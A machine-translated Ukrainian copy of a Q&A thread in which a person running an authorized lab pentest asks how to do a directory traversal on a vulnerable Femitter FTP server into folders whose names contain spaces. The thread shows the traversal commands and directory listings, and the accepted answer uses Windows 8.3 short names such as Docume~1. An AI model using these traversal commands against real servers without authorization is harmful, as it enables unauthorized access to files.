Перехід FTP-каталогу на каталоги, що містять пробіли


15

Я веду санкціонований протест у закритому довідковому середовищі і боюся над, здавалося б, простим питанням, наразі не можу вирішити.

При спробі здійснити атаку обходу каталогів на вразливий FTP-сервер Fermitter, що працює на ОС Windows Windows, можна зробити СПИСОК у системному корені (адреси та списки вмісту тут змінені лише для довідки):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Однак, якщо я хочу перерахувати вміст папки, що містить пробіли, такі як Documents and settings, я не можу перерахувати вміст каталогу через пробіли білих пробілів.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Я вже намагався використовувати різні FTP-клієнти (CLI та GUI, для Linux та Windows), і вони ігнорують пробіли або забороняють обхід каталогів.

Також спробував створити сценарій атаки на Python, використовуючи спочатку необроблені сокети, а потім ftplib для відправки команд у форматі HEX ​​безпосередньо на FTP-сервер, але без успіху.

Гугл за пару годин не дав робочого рішення (так, було багато варіантів, які не спрацювали), тому тут є хтось, у кого була така ж проблема. Досить впевнений, що це не перший раз, коли потрібен такий обхід каталогів з пробілами.


Чутливість до справ виглядає неактуальною для FTP-клієнтів. Принаймні, клієнт GNU / Linux FTP перелічує каталоги, що ігнорують регістр букв.

@lockout: Чутливість регістру - це справа сервера, а не клієнт. Клієнти перераховують дані так само, як сервер їх надсилає, і не змінюють регістр.
Штеффен Улріх

1
Спробуйте також C: \ Docume ~ 1 \.
Собака їсть котячий світ

1
Спробуйте уникнути пробілів за \допомогою рядка каталогів або цитувати його
DavidPostill

1
Я щасливий, що це працювало для тебе @lockout. Оскільки ви пережили проблеми з відповіддю на своє запитання, я добре, що ви приймаєте це як відповідь. Дякуємо, що мені зарахували.
Собака їсть котячий світ

Відповіді:


16

Рішення, запропоноване @Dogeatcatworld, використовувати короткі позначення каталогів MS Windows, такі як C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Насправді хороша стаття з бази знань MS пояснює позначення каталогів 8.3: як Windows створює імена файлів 8.3 з довгих імен файлів


2
OSCP я бачу. Щоб додати до підказки, для коротких каталогів, таких як "Усі користувачі", залиште пробіл та використовуйте "AllUse ~ 1". Чи знайшли ви спосіб встановити FTP для інтерактивного перегляду, або ви просто закінчили завантаження файлів по одному.
n00b

1

"Коротке ім'я" - це дійсно стара умовна умова іменування DOS 8.3, тому всі каталоги будуть першими 6 літерами, а потім - ~ 1, припускаючи, що відповідає лише одне ім'я, наприклад:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG Я Я ДИРЕКЦІЯ
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Інший каталог

Ось єдиний виняток:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG Я Я ДИРЕКЦІЯ C: \ ABCDEF
~ 2 - C: \ ABCDEFGHI також каталог

Джерело: Як я можу знайти короткий шлях каталогу / файлу Windows?


0

Ftp не використовує кодування URL, тому% xx не працюватиме, якщо ви не використовуєте ftp у веб-переглядачі, який може перекласти його для вас.

Спробуйте використовувати замість нього цитати, тобто: ls "../../some dir"


1
Здравствуйте, якщо ви подивитесь на спроби, спрямовані на обхід каталогів, ви побачите, що я спробував декілька цитат: одна цитата, подвійна цитата та зворотний галочок. Вони не працювали, як це представлено у вихідному списку FTP. Використовувати% 20 було просто експериментувати, чи не вдасться це через відчайдушні спроби спробувати всі варіанти. Звичайно% кодування працює на браузерах та FTP-клієнтах, здатних їх інтерпретувати.
блокування
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.